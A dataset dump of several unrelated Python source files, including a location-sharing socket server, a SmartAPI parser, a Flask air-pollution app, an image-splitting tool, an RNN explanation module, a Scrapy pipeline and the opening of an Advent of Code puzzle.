location[\"latitude\"]\n longitude = location[\"longitude\"]\n except KeyError:\n json_response = json.dumps({'ok': False})\n raise BadRequestError(\"Bad formatted location Object\")\n else:\n # Create a location Object\n location_object = LocationPoint(username, latitude, longitude)\n\n # insert the object into the database\n self.the_database.push(location_object)\n print(\"Added the following \", location_object._username)\n # Generate and send the JSON response\n json_response = json.dumps({'ok': True})\n self._sendResponse(json_response)\n\n # Handle the pull requests\n def do_pull(self, json_object):\n try:\n # Fetch the location for each user\n usernames = json_object[\"usernames\"]\n except KeyError:\n raise BadRequestError(\"No field \\\"usernames\\\"\")\n else:\n # Get the matches from the database\n results = self.the_database.pull(usernames)\n # Generate the JSON response\n json_response = json.dumps({'ok': True, 'locations': results})\n # Send the response\n self._sendResponse(json_response)\n\n\nif __name__ == \"__main__\":\n # db = DatabaseHandler()\n # db.connect()\n # db.db.insert(\"users\", \"uniqueID\", \"12874\", \"username\", \"Johnny\", \"password\", \"123456789\")\n # db.db.insert(\"users\", \"uniqueID\", \"15322\", \"username\", \"John\", \"password\", \"123456789\")\n # db.db.insert(\"users\", \"uniqueID\", \"10573\", \"username\", \"Goerge\", \"password\", \"123456789\")\n # db.close()\n server = socketserver.TCPServer((\"\", 5000), TheServant)\n server.serve_forever()\n","sub_path":"backend/server/serve_the_servants.py","file_name":"serve_the_servants.py","file_ext":"py","file_size_in_byte":4178,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"70019916","text":"import hashlib\nfrom copy import deepcopy\n\nfrom .utils.dataload import load_json_or_yaml\n\n\nclass SmartAPIParser:\n \"\"\"Parse SmartAPI specifications.\"\"\"\n\n def load_spec(self, spec=None):\n self.spec = load_json_or_yaml(spec)\n\n @staticmethod\n def determine_api_type(tags):\n \"\"\"Determine the type of API\n \n note: API type will be used in the api_preprocess module\n \"\"\"\n types = [\"biothings\", \"biolink\", \"reasoner\", \"ctd\", \"opentarget\"]\n for _type in types:\n if _type in tags:\n return _type\n return \"other\"\n\n def fetch_api_name(self):\n \"\"\"Fetch the name of the API.\n \"\"\"\n return self.spec[\"info\"][\"title\"]\n\n def fetch_api_tags(self):\n \"\"\"Fetch the tags of the API.\n \"\"\"\n tags = self.spec[\"tags\"]\n return [_item[\"name\"] for _item in tags]\n\n def fetch_server_url(self):\n \"\"\"fetch the server url of the API.\n \"\"\"\n return self.spec[\"servers\"][0][\"url\"]\n\n @staticmethod\n def fetch_path_params(endpoint_spec: dict):\n params = []\n if \"parameters\" in endpoint_spec:\n for param in endpoint_spec[\"parameters\"]:\n if param.get(\"in\") == \"path\":\n params.append(param.get(\"name\"))\n return params\n\n @staticmethod\n def fetch_response_mapping_path(endpoint_spec):\n \"\"\"Fetch the path of semantic mapping json doc.\n \"\"\"\n return endpoint_spec[\"x-bte-semanticmapping\"][\"$ref\"]\n\n def fetch_response_mapping(self, ref):\n \"\"\"Fetch the semantic mapping json file based on the path in $ref.\n \"\"\"\n path = ref.split(\"/\")\n return self.spec[\"components\"][\"x-bte-response-mapping\"][path[-1]]\n\n @staticmethod\n def fetch_param(endpoint_spec):\n \"\"\"fetch the parameter name of the endpoint\n\n params\n ======\n endpoint_spec: the smartAPI spec related to the endpoint\n \"\"\"\n if \"parameters\" in endpoint_spec:\n return endpoint_spec[\"parameters\"][0].get(\"name\")\n return None\n\n def fetch_single_x_bte_kgs_operation(self, ref):\n path = ref.split(\"/\")\n return self.spec[\"components\"][\"x-bte-kgs-operations\"][path[-1]]\n\n def fetch_x_bte_kgs_operations(self, endpoint_spec):\n \"\"\"fetch the x-bte-kgs-operations information of the endpoint\n\n params\n ======\n endpoint_spec: the smartAPI spec related to the endpoint\n \"\"\"\n operations = endpoint_spec[\"x-bte-kgs-operations\"]\n for op in operations:\n yield self.fetch_single_x_bte_kgs_operation(op[\"$ref\"])\n\n @staticmethod\n def get_unique_edge_id(operation):\n _id = \"-\".join(\n [\n operation[\"server\"],\n operation[\"method\"],\n operation[\"path\"],\n operation[\"output_type\"],\n operation[\"output_id\"],\n ]\n )\n request_body = operation.get(\"requestBody\")\n if request_body and request_body.get(\"body\"):\n for k in sorted(request_body.get(\"body\").keys()):\n _id += \"-\" + k + \"-\" + str(request_body.get(\"body\")[k])\n parameters = operation.get(\"parameters\")\n if parameters:\n for k in sorted(parameters.keys()):\n _id += \"-\" + k + \"-\" + str(parameters[k])\n return hashlib.sha224(_id.encode()).hexdigest()\n\n def parse_individual_operation(self, op, path, method, path_params):\n res = []\n for _input in op[\"inputs\"]:\n for _output in op[\"outputs\"]:\n tmp = deepcopy(op)\n tags = self.fetch_api_tags()\n api_type = self.determine_api_type(tags)\n tmp.update(\n {\n \"path\": path,\n \"path_params\": path_params,\n \"method\": method,\n \"server\": self.fetch_server_url(),\n \"api_name\": self.fetch_api_name(),\n \"api_type\": api_type,\n \"input_id\": _input[\"id\"],\n \"input_type\": _input[\"semantic\"],\n \"output_id\": _output[\"id\"],\n \"output_type\": _output[\"semantic\"],\n \"response_mapping\": {\n op[\"predicate\"]: self.fetch_response_mapping(\n op[\"response_mapping\"][\"$ref\"]\n )\n },\n }\n )\n tmp[\"id\"] = self.get_unique_edge_id(tmp)\n res.append(tmp)\n return res\n\n def fetch_endpoint_info(self):\n res = []\n for path, path_info in self.spec[\"paths\"].items():\n for method, method_info in path_info.items():\n path_params = self.fetch_path_params(method_info)\n if \"x-bte-kgs-operations\" in method_info:\n for op in self.fetch_x_bte_kgs_operations(method_info):\n for _op in op:\n tmp = self.parse_individual_operation(\n _op, path, method, path_params\n )\n res += tmp\n return res\n","sub_path":"biothings_explorer/smartapi_parser.py","file_name":"smartapi_parser.py","file_ext":"py","file_size_in_byte":5317,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"127058741","text":"__author__ = 'David'\n\n'''\n<>\nClass for a unit object\nContains various attributes and methods relating to a unit\n'''\n\nclass Unit:\n def __init__(self, unitCode, unitName, unitPoints):\n '''\n initializes a unit object\n :param unitCode: code of unit\n :param unitName: name of unit\n :param points: credit points of unit, default is 6\n :return:\n '''\n self.code = unitCode\n self.name = unitName\n self.points = unitPoints\n self.noStudents = 0\n self.stuList = []\n\n def __str__(self):\n '''\n :return: concatenated string relevant containing unit information\n '''\n string = \"\"\n string += \"Unit code: \"\n string += str(self.code)\n string += \" | Unit name: \"\n string += str(self.name)\n return string\n\n\n def regInCourse(self, courseObject):\n '''\n register this unit into a course\n :param courseObject: course to register in\n :return:\n '''\n if self in courseObject.unitList:\n print(\"This unit already is enrolled into the course\")\n else:\n courseObject.unitList.append(self)\n print(self.code, end=\"\")\n print(\" registered in course: \" +str(courseObject.code) + ', ' + str(courseObject.name))","sub_path":"FIT1010-Intro-To-Software-Engineering/SES II/FINAL/Unit.py","file_name":"Unit.py","file_ext":"py","file_size_in_byte":1329,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"570812167","text":"from airpollutionmetr import app, db\nfrom flask import render_template, url_for,flash,redirect\nfrom airpollutionmetr.forms import PollutionForm\nfrom airpollutionmetr.models import Pollution\n\n@app.route('/', methods = ['GET', 'POST'])\ndef homepage():\n form = PollutionForm()\n if form.validate_on_submit():\n polution_rate = form.pollution_rate.data\n city = form.city.data\n region = form.region.data\n user = Pollution(pollution_rate = polution_rate, city = city, region = region)\n db.session.add(user)\n db.session.commit()\n flash(f'Mesurement recorded! Thanks', 'success')\n return redirect(url_for('homepage'))\n return render_template(\"index.html\", form = form)\n\n@app.route('/results')\ndef results():\n city_counts = {} \n db_res = Pollution.query.all()\n for measure in db_res:\n if measure.city not in city_counts:\n city_counts[measure.city] = 1\n else:\n city_counts[measure.city] += 1 \n return render_template(\"results.html\", city_counts = city_counts)","sub_path":"airpollutionmetr/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":1062,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"244118157","text":"import os\nimport json\nimport cv2\nimport numpy as np\nimport sys\nfrom optparse import OptionParser\n\n\"\"\"\n def split_img_with_via_label(),在有json文件下情况下对图片进行裁图,并对json进行修改\n 并保存图片和jeson文件\n \n def split_single_img_detection(),没有json文件,直接使用threshold进行裁图\n 返回裁图区域和图片\n \n def decode_coor(),对检测出来的box坐标,还原到原图坐标\n\"\"\"\nclass Split():\n\n def __init__(self):\n pass\n\n\n def decode_coor(self,cuted_area,detection_box):\n \"\"\"\n :param cuted_area:切图的区域,[[xmin,xmax],[xmin,xmax]]\n :param detection_box: 检测的结果,[[],[],...]\n :return: 原图上的坐标\n \"\"\"\n area_num = len(cuted_area)\n\n if area_num > 1:\n fist_area_width = cuted_area[0][1] - cuted_area[0][0] # 第一个区域的宽\n for i in range(len(detection_box)):\n if detection_box[i][0] < fist_area_width:\n detection_box[i][0] = detection_box[i][0] + cuted_area[0]\n else:\n detection_box[i][0] = detection_box[i][0] + cuted_area[1]\n else:\n for i in range(len(detection_box)):\n detection_box[i][0] = detection_box[i][0] + cuted_area[0]\n\n return detection_box\n\n\n def split_single_img_detection(self, img_path, save_path, threshold=None, extend=40):\n \"\"\"\n :param img_path:\n :param save_path:\n :param threshold: 分割的阈值\n :param extend: 在计算出的边界上再扩展的宽度\n :return:\n coorlist:切割区域的左右边界,[[x_1,y_1],[x_2,y_2]];\n shsplit_img:图片\n \"\"\"\n\n coorlist = []\n img_name = os.path.basename(img_path)\n # print(\"{} spliting \".format(img_name))\n img_array = cv2.imdecode(np.fromfile(img_path, dtype=np.uint8), -1)\n height, width = img_array.shape[:2]\n if height < width:\n img_array = np.transpose(img_array)\n\n img_sum = np.sum(img_array, axis=0)\n sum_max_value = max(img_sum)\n if not threshold:\n threshold = sum_max_value / 3\n\n index = np.where(img_sum > threshold)\n a = index[0][1:] - index[0][0:-1]\n center_left_index = np.where(a > 10)[0] # 判断是否存在两组区域,以10作为阈值\n len_center = len(center_left_index)\n new_center_left_index = center_left_index\n new_index = index\n \"\"\"\n 当存在大于2个区域时,说明threshold对图片分割达到2个区域以上,应减小阈值,已达到最多两个区域\n tips:\n jygz图片中,最多只能分出两个区域,当大于2时说明滚子切面部分亮度起伏较大\n 在这种情况下,阈值使用不恰当就会导致分出额外的区域,故,降低阈值,每次降低80%,直到小于2才停止\n \"\"\"\n while len_center > 1:\n new_threshold = threshold * 0.8\n new_index = np.where(img_sum > (new_threshold))\n new_a = new_index[0][1:] - new_index[0][0:-1]\n new_center_left_index = np.where(new_a > 10)[0]\n len_center = len(new_center_left_index)\n\n # c = [index[0][i] for i in center_left_index]\n xmin = min(new_index[0])\n xmax = max(new_index[0])\n # split_img = None\n\n if new_center_left_index > 1:\n center_right_index = new_center_left_index + 1\n xmax_left = index[0][new_center_left_index]\n xmin_right = index[0][center_right_index]\n coorlist.append([xmin - extend, xmax_left[0] + extend])\n coorlist.append([xmin_right[0] - extend, xmax + extend])\n split_img = img_array[:, [i for i in range(coorlist[0][0], coorlist[0][1], 1)] +\n [i for i in range(coorlist[1][0], coorlist[1][1], 1)]] # save img\n\n cv2.imwrite(os.path.join(save_path, img_name), split_img)\n print(' %s success save in %s'%(img_name,os.path.join(save_path, img_name)))\n return coorlist,split_img\n else:\n coorlist.append([xmin - extend, xmax + extend])\n split_img = img_array[:, coorlist[0][0] - extend:coorlist[0][1] + extend]\n\n cv2.imwrite(os.path.join(save_path, img_name), split_img)\n print(' %s success save in %s' % (img_name, os.path.join(save_path, img_name)))\n return coorlist,split_img\n\n\n def split_single_img_train(self, img_array, threshold=None):\n \"\"\"\n :param img_array:\n :param threshold:\n :return:\n coorlist:切割区域的左右边界,[[x_1,y_1],[x_2,y_2]];\n shsplit_img.shape:切割出的区域尺寸,即切割图像的shape,[w,h]\n \"\"\"\n coorlist = []\n height, width = img_array.shape[:2]\n if height < width:\n img_array = np.transpose(img_array)\n\n img_sum = np.sum(img_array, axis=0)\n sum_max_value = max(img_sum)\n if not threshold:\n threshold = sum_max_value / 3\n\n index = np.where(img_sum > threshold)\n xmin = min(index[0])\n xmax = max(index[0])\n a = index[0][1:] - index[0][0:-1]\n center_left_index = np.where(a > 10)[0] # 判断是否存在两组区域,以10作为阈值\n if center_left_index > 1:\n center_right_index = center_left_index + 1\n xmax_left = index[0][center_left_index]\n xmin_right = index[0][center_right_index]\n coorlist.append([xmin, xmax_left[0]])\n coorlist.append([xmin_right[0], xmax])\n else:\n coorlist.append([xmin, xmax])\n\n split_img = img_array[:, index[0]]\n\n return coorlist, split_img.shape\n\n\n def split_img_with_via_label(self,img_dir,via_label,save_split_dir,extend=40):\n \"\"\"\n :param img_dir:图片地址\n :param via_label: label地址\n :param save_split_dir: save 地址\n :param extend: 扩展值\n :return:\n\n step_1:利用灰度值判断切图区域数量\n step_2:计算bbox中xmin和xmax\n step_3:修改json中的相关参数\n \"\"\"\n\n if via_label:\n with open(via_label, \"r\", encoding=\"utf-8\") as f:\n via_content = json.load(f)\n print(\"{} read success\".format(via_label))\n images = via_content[\"images\"]\n imgs = os.listdir(img_dir)\n\n for img in imgs:\n img_box_idx = [] # 存bbox坐标\n if img.endswith(\"jpg\"):\n # coor 裁图的区域\n print(\"{} spliting \".format(os.path.join(img_dir, img)))\n img_array = cv2.imdecode(np.fromfile(os.path.join(img_dir, img),dtype=np.uint8),-1)\n coor,image_size = Split().split_single_img_train(img_array)\n annotations = via_content[\"annotations\"]\n\n for ann in annotations:\n img_name = images[int(ann[\"image_id\"])][\"file_name\"]\n if img_name == img:\n bbox = ann[\"bbox\"] # box矩形坐标框[xmin,ymin,w,h]\n img_box_idx.append(bbox)\n\n if not img_box_idx:\n raise ValueError('%s not find in jeson'%img)\n sort_img_box_idx = np.sort(coor,axis=0) # 按0轴进行排序\n\n # 根据box坐标进行划分,并找到两个区域中各的min_x,max_x\n mid_bound = 0\n one_area_xmax = mid_bound\n two_area_xmin = mid_bound\n num_one_area = [sort_img_box_idx[0][0], one_area_xmax]\n num_two_area = [two_area_xmin, sort_img_box_idx[-1][0]]\n\n if len(coor) > 1:\n mid_bound = (sort_img_box_idx[1][0] - sort_img_box_idx[0][0]) / 2 + sort_img_box_idx[0][1] # 切割区域的中线\n num_one_area = [sort_img_box_idx[0][0], sort_img_box_idx[0][1]]\n num_two_area = [sort_img_box_idx[1][0], sort_img_box_idx[1][1]]\n for ann in annotations:\n img_name = images[int(ann[\"image_id\"])][\"file_name\"]\n if img_name == img:\n if ann['bbox'][0] < mid_bound:\n num_one_area[0] = sort_img_box_idx[0][0]\n num_one_area[1] = sort_img_box_idx[0][1]\n num_one_area[0] = min(ann['bbox'][0], num_one_area[0]) # 左边界\n num_one_area[1] = max(ann['bbox'][0] + ann['bbox'][2], num_one_area[1]) # 找第一个区域的右边界\n else:\n num_two_area[0] = sort_img_box_idx[1][0]\n num_two_area[1] = sort_img_box_idx[1][1]\n num_two_area[0] = min(ann['bbox'][0], num_one_area[0]) # 左边界\n num_two_area[1] = max(ann['bbox'][1] + ann['bbox'][2], num_one_area[1]) # 找第二个区域的右边界\n\n images_valu = None\n cuted_file_name = None\n # 重写bbox、segmentation、images_filename、width\n for ann in annotations:\n img_name = images[int(ann[\"image_id\"])][\"file_name\"]\n if img_name == img:\n images_valu = images[int(ann[\"image_id\"])]\n if len(coor) > 1:\n # 左右区域进行扩展\n new_num_one_area = [num_one_area[0] - extend,num_one_area[1] + extend]\n new_num_two_area = [num_two_area[0] - extend,num_two_area[1] + extend]\n if ann['bbox'][0] < mid_bound: # 以两个区域间隔的中线进行区分box的归属\n ann['bbox'][0] = int(ann['bbox'][0] - new_num_one_area[0])\n else:\n ann['bbox'][0] = int(ann['bbox'][0] - new_num_two_area[0])\n\n ann['segmentation'] = [ann['bbox'][0], ann['bbox'][1],\n int(ann['bbox'][0] + ann['bbox'][2]), ann['bbox'][1],\n int(ann['bbox'][0] + ann['bbox'][2]),int(ann['bbox'][1] + ann['bbox'][3]),\n ann['bbox'][0], int(ann['bbox'][1] + ann['bbox'][3])]\n images[int(ann[\"image_id\"])]['width'] = int(new_num_one_area[1] - new_num_one_area[0] +\n new_num_two_area[1] - new_num_two_area[0])\n cuted_file_name = '%s.jpg' % (\n img_name.split('.')[0] + '_' + str(new_num_one_area[0]) +\n '_' + str(new_num_two_area[0]))\n\n # 切图\n split_img = img_array[:, [i for i in range(new_num_one_area[0], new_num_one_area[1])] +\n [i for i in\n range(new_num_two_area[0], new_num_two_area[1])]] # save img\n cv2.imwrite(os.path.join(save_split_dir, cuted_file_name), split_img)\n else:\n new_area = [min(num_one_area[0],coor[0][0]) - extend, max(num_one_area[1],coor[0][1]) + extend]\n ann['bbox'][0] = int(ann['bbox'][0] - new_area[0])\n ann['segmentation'] = [ann['bbox'][0], ann['bbox'][1],\n int(ann['bbox'][0] + ann['bbox'][2]), ann['bbox'][1],\n int(ann['bbox'][0] + ann['bbox'][2]),int(ann['bbox'][1] + ann['bbox'][3]),\n ann['bbox'][0], int(ann['bbox'][1] + ann['bbox'][3])]\n images[int(ann[\"image_id\"])]['width'] = int(new_area[1] - new_area[0])\n\n cuted_file_name = '%s.jpg'%(img_name.split('.')[0] + '_' + str(new_area[0]))\n\n # 切图\n split_img = img_array[:, [i for i in range(new_area[0], new_area[1])]] # save img\n cv2.imwrite(os.path.join(save_split_dir, cuted_file_name), split_img)\n images_valu['file_name'] = cuted_file_name\n write_json = json.dumps(via_content)\n with open(os.path.join(save_split_dir,('%s'%os.path.basename(via_label))),'w') as op:\n op.write(write_json)\n\n\nif __name__ == '__main__':\n\n # eg python py_file.py 'ima_path' 'json_path' 'save_path'\n # img_path = sys.argv[1]\n # save_path = sys.argv[3]\n # json_path = sys.argv[2]\n #\n # start Split images\n # Split().split_img_with_via_label(img_path,json_path,save_path)\n\n img_path = ''\n save_path = ''\n json_path = ''\n\n Split().split_img_with_via_label(img_path,json_path,save_path)\n","sub_path":"最终版/Split.py","file_name":"Split.py","file_ext":"py","file_size_in_byte":13564,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"226057449","text":"from Binary.Scripts.utils import *\nimport scipy.optimize as opt\nfrom scipy import stats\nfrom sklearn.linear_model import LinearRegression\nimport numpy as np\nnp.random.seed(1234)\n\n\n\n\n#\n#\n\n\n\n\n\n\ndef obj_fun(theta, x, y_):\n pre_dis = np.dot(x, theta)\n loss = np.sum((pre_dis - y_) ** 2)\n return loss\n\n\n\n\n\n\n\nclass xai_rnn(object):\n \"\"\"class for explaining the rnn prediction\"\"\"\n def __init__(self, model, data,):\n \"\"\"\n Args:\n model: target rnn model.\n data: data sample needed to be explained.\n label: label of the data sample.\n start: value of function start.\n \"\"\"\n self.model = model\n self.data = data\n self.seq_len = data.shape[1]\n self.seq_len = data[0].shape[0]\n\n\n\n def xai_feature(self, samp_num, option= 'None'):\n \"\"\"extract the important features from the input data\n Arg:\n fea_num: number of features that needed by the user\n samp_num: number of data used for explanation\n return:\n fea: extracted features\n \"\"\"\n # cen = int(self.seq_len/2)\n # half_tl = int(self.tl/2)\n sample = np.random.randint(0, FEANUM, samp_num)\n data_explain = np.zeros([samp_num, 200])\n for i, size in enumerate(sample, start=0):\n inactive = np.random.choice(FEANUM, size, replace=False)\n\n tmp_sampled = np.copy(self.data)\n tmp_sampled[0,inactive] = 0 # np.random.choice(range(257), size, replace = True) #1 - tmp_sampled[0,inactive]\n data_explain[i] = tmp_sampled\n\n\n # label_sampled = label_sampled.reshape(label_sampled.shape[0], 1)\n\n label_sampled = self.model.predict(data_explain, batch_size = 500, verbose = 0)[:, 100, 1:2]\n\n linreg = LinearRegression(fit_intercept=False)\n linreg.fit(data_explain, label_sampled)\n result = np.argsort(np.abs(linreg.coef_)).reshape([FEANUM])\n importance_score = result[::-1]\n return importance_score\n\n def gauss_mix_model(self, X, y, model_num, min_err=0.1):\n [data_num, fea_num] = np.shape(X)\n mean = np.random.random([model_num, 1]) * 100\n sigma = np.random.random([model_num, 1]) * 100\n pi = np.ones([model_num, 1]) / model_num\n\n new_mean = np.zeros_like(mean)\n new_sigma = np.zeros_like(sigma)\n new_pi = np.zeros_like(pi)\n\n new_z = np.zeros([data_num, model_num])\n err = np.linalg.norm(mean - new_mean)\n nk = np.zeros((model_num, 1))\n while (err > min_err):\n for index in range(data_num):\n for kindex in range(model_num):\n new_z[index, kindex] = pi[kindex] * stats.norm(mean[kindex, 0], sigma[kindex, 0]).pdf(y[index])\n new_z[index, :] = new_z[index, :] / np.sum(new_z[index, :])\n for kindex in range(model_num):\n nk[kindex] = np.sum(new_z[:, kindex])\n new_pi[kindex, 0] = np.sum(new_z[:, kindex]) / data_num\n sum_mean = 0\n sum_sigma = 0\n for nindex in range(data_num):\n tmp = new_z[nindex, kindex] * y[nindex]\n sum_mean = sum_mean + tmp\n new_mean[kindex, :] = sum_mean / nk[kindex]\n\n for nindex in range(data_num):\n vec = (y[nindex] - new_mean[kindex, 0])\n tmp = new_z[nindex, kindex] * (vec * vec)\n sum_sigma = sum_sigma + tmp\n new_sigma[kindex, 0] = sum_sigma / nk[kindex]\n err = np.linalg.norm(new_mean - mean)\n sigma = new_sigma\n pi = new_pi\n mean = new_mean\n\n weight = np.zeros(fea_num)\n s = 1e4\n init_k = np.ones([fea_num, 1])\n cons = ({'type': 'ineq',\n 'fun': lambda x: np.array([s - (x[0] - x[1]) ** 2 - (x[1] - x[2]) ** 2])})\n # for iindex in range(fea_num):\n # for kindex in range(model_num):\n # result = opt.minimize(obj_fun, init_k, args=(np.array(X), np.array(mean[kindex, :])),\n # constraints=cons)\n # weight[iindex] = result.x[iindex] * pi[kindex] + weight[iindex]\n result = opt.minimize(obj_fun, init_k, args=(np.array(X), np.array(mean[kindex, :])),\n constraints=cons)\n weight = result.x\n######################################################################################\n # X = r.matrix(X, nrow=data_explain.shape[0], ncol=data_explain.shape[1])\n # Y = r.matrix(label_sampled, nrow=label_sampled.shape[0], ncol=label_sampled.shape[1])\n #\n # n = r.nrow(X)\n # p = r.ncol(X)\n # results = r.fusedlasso1d(y=Y, X=X) # eps = 1e4\n #\n # result = np.array(r.coef(results, np.sqrt(n * np.log(p)))[0])[:, -1]\n\n return weight\n","sub_path":"submissions/functional/denas/Binary/Scripts/LEMNA.py","file_name":"LEMNA.py","file_ext":"py","file_size_in_byte":4905,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"103108638","text":"import xlrd\nfrom collections import OrderedDict\nimport json\nimport codecs\n\n\nsampleInfoFile = 'Sample_Info_20210301.xls'\nwb = xlrd.open_workbook(sampleInfoFile)\n\nconvert_list = []\nsh = wb.sheet_by_index(0)\ntitle = sh.row_values(0)\nfor rownum in range(1, sh.nrows):\n rowvalue = sh.row_values(rownum)\n single = OrderedDict()\n for colnum in range(0, len(rowvalue)):\n# print(title[colnum], rowvalue[colnum])\n single[title[colnum]] = rowvalue[colnum]\n convert_list.append(single)\n\nj = json.dumps(convert_list,ensure_ascii=False)\n\nwith codecs.open('file.json', \"w\", \"utf-8\") as f:\n f.write(j)\n","sub_path":"common_use/xls2json.py","file_name":"xls2json.py","file_ext":"py","file_size_in_byte":615,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"399381582","text":"#! usr/bin/python\r\n# -*- coding: ISO-8859-1 -*-\r\n\r\nimport time\r\nfrom datetime import datetime\r\nimport random\r\nimport math\r\n\r\ndef get_hour_min(certain_time):\r\n elements = certain_time.split(\":\")\r\n hour = certain_time.split(\":\")[0]\r\n minute = certain_time.split(\":\")[1]\r\n second = 0\r\n if len(elements) == 3:\r\n second = math.ceil(int(float(elements[2])))\r\n\r\n return hour, minute, second\r\n\r\ndef get_time_str(i):\r\n i_str = str(i)\r\n if int(i) < 10:\r\n i_str = \"0{0}\".format(i)\r\n return i_str\r\n\r\ndef get_current_time():\r\n current_time = str(datetime.now().time())\r\n current_hour, current_min, current_sec = get_hour_min(current_time)\r\n return \"{0}:{1}:{2}\".format(current_hour, current_min, get_time_str(current_sec))\r\n\r\ndef hms_to_seconds(t):\r\n elements = t.split(\":\")\r\n h = int(elements[0])\r\n m = int(elements[1])\r\n s = 0\r\n if len(elements) == 3:\r\n s = math.ceil(int(float(elements[2])))\r\n return 3600*h + 60*m + s\r\n\r\ndef compare_t2t(this_time, certain_time):\r\n if hms_to_seconds(this_time) >= hms_to_seconds(certain_time):\r\n return True\r\n return False\r\n\r\ndef get_time_difference(start_time, end_time):\r\n return (hms_to_seconds(end_time) - hms_to_seconds(start_time)) \r\n\r\ndef compare_interval(this_time, time_interval):\r\n start_time = time_interval.split(\"-\")[0]\r\n end_time = time_interval.split(\"-\")[-1]\r\n if (compare_t2t(this_time, start_time) and not compare_t2t(this_time, end_time)) or (not compare_t2t(this_time, start_time)):\r\n return True\r\n return False\r\n\r\n\r\ndef get_next_time(original_time, increment_time):\r\n original_hour, original_min, original_sec = get_hour_min(original_time)\r\n new_sec = int(original_sec) + increment_time\r\n new_min = int(original_min)\r\n new_hour = int(original_hour)\r\n if new_sec >= 60:\r\n while(new_sec >= 60):\r\n new_sec -= 60\r\n new_min += 1\r\n\r\n if new_min >= 60:\r\n while(new_min >= 60):\r\n new_min -= 60\r\n new_hour += 1\r\n\r\n new_sec_str = str(new_sec)\r\n if new_sec == 0:\r\n new_sec_str += \"0\"\r\n if new_sec < 10:\r\n new_sec_str = \"0{0}\".format(new_sec)\r\n\r\n new_min_str = str(new_min)\r\n if new_min == 0:\r\n new_min_str += \"0\"\r\n if new_min < 10:\r\n new_min_str = \"0{0}\".format(new_min)\r\n new_time = \"{0}:{1}:{2}\".format(str(new_hour), new_min_str, new_sec_str)\r\n return new_time\r\n\r\ndef add_running_time(running_time, running_time_list):\r\n index = len(running_time_list)\r\n for i in range(len(running_time_list)):\r\n if compare_t2t(running_time_list[i], running_time):\r\n index = i\r\n break\r\n\r\n running_time_list = running_time_list[:index] + [running_time] + running_time_list[index:]\r\n return running_time_list\r\n\r\ndef generate_random_running_time(interval_numsession_dict):\r\n running_time_list = []\r\n \r\n for time_interval, numsession in interval_numsession_dict.items():\r\n # Get the start time and end time of the interval\r\n start_hour, start_min, start_sec = get_hour_min(time_interval.split(\"-\")[0])\r\n end_hour, end_min, end_sec = get_hour_min(time_interval.split(\"-\")[1])\r\n \r\n # If the start time and end time are at the same hour,\r\n # get randomly \"numsession\" numbers in the interval\r\n time_difference = get_time_difference(time_interval.split(\"-\")[0], time_interval.split(\"-\")[1])\r\n rand_time_list = random.sample(range(1, time_difference), int(numsession))\r\n \r\n for time in rand_time_list:\r\n running_time = get_next_time(time_interval.split(\"-\")[0], time)\r\n running_time_list = add_running_time(running_time, running_time_list)\r\n\r\n return running_time_list\r\n\r\ndef generate_ordered_running_time(interval_numsession_dict):\r\n running_time_list = []\r\n \r\n for time_interval, numsession in interval_numsession_dict.items():\r\n print(numsession)\r\n # Get the start time and end time of the interval\r\n start_hour, start_min, start_sec = get_hour_min(time_interval.split(\"-\")[0])\r\n end_hour, end_min, end_sec = get_hour_min(time_interval.split(\"-\")[1])\r\n \r\n # If the start time and end time are at the same hour,\r\n # get randomly \"numsession\" numbers in the interval\r\n time_difference = get_time_difference(time_interval.split(\"-\")[0], time_interval.split(\"-\")[1])\r\n time_gap = int(time_difference / int(numsession))\r\n rand_time_list = []\r\n for i in range(0, int(numsession)):\r\n rand_time_list.append(time_gap * i)\r\n \r\n for time in rand_time_list:\r\n running_time = get_next_time(time_interval.split(\"-\")[0], time)\r\n running_time_list = add_running_time(running_time, running_time_list)\r\n\r\n return running_time_list\r\n\r\n","sub_path":"src/http/time_process.py","file_name":"time_process.py","file_ext":"py","file_size_in_byte":4849,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"591321642","text":"# -*- coding: utf-8 -*-\n\n# Define your item pipelines here\n#\n# Don't forget to add your pipeline to the ITEM_PIPELINES setting\n# See: https://doc.scrapy.org/en/latest/topics/item-pipeline.html\nfrom pymongo import MongoClient\n\n\nclass KugoumusicPipeline(object):\n \n def open_spider(self, spider):\n mongo_config = spider.settings['MONGO_CONFIG']\n # host = '127.0.0.1', port = 27017\n # self.client = MongoClient(host='127.0.0.1', port=27017)\n self.client = MongoClient(**mongo_config)\n self.coll = self.client['student_db']['kugou']\n self.li = []\n \n def close_spider(self, spider):\n self.insert()\n self.client.close()\n \n def insert(self):\n self.coll.insert_many(self.li)\n \n def process_item(self, item, spider):\n if len(self.li) >= 100:\n self.insert()\n self.li = []\n print(\"成功插入100条数据-------------------------------------\")\n else:\n self.li.append(dict(item))\n \n return item\n","sub_path":"kugoumusic/kugoumusic/pipelines.py","file_name":"pipelines.py","file_ext":"py","file_size_in_byte":1051,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"602820800","text":"#!/usr/bin/env pypy3\n\n\"\"\"\n--- Day 13: Distress Signal ---\nYou climb the hill and again try contacting the Elves. However, you instead receive a signal you weren't expecting: a distress signal.\n\nYour handheld device must still not be working properly; the packets from the distress signal got decoded out of order. You'll need to re-order the list of received packets (your puzzle input) to decode the message.\n\nYour list consists of pairs of packets; pairs are separated by a blank line. You need to identify how many pairs of packets are in the right order.\n\nFor example:\n\n[1,1,3,1,1]\n[1,1,5,1,1]\n\n[[1],[2,3,4]]\n[[1],4]\n\n[9]\n[[8,7,6]]\n\n[[4,4],4,4]\n[[4,4],4,4,4]\n\n[7,7,7,7]\n[7,7,7]\n\n[]\n[3]\n\n[[[]]]\n[[]]\n\n[1,[2,[3,[4,[5,6,7]]]],8,9]\n[1,[2,[3,[4,[5,6,0]]]],8,9]\nPacket data consists of lists and 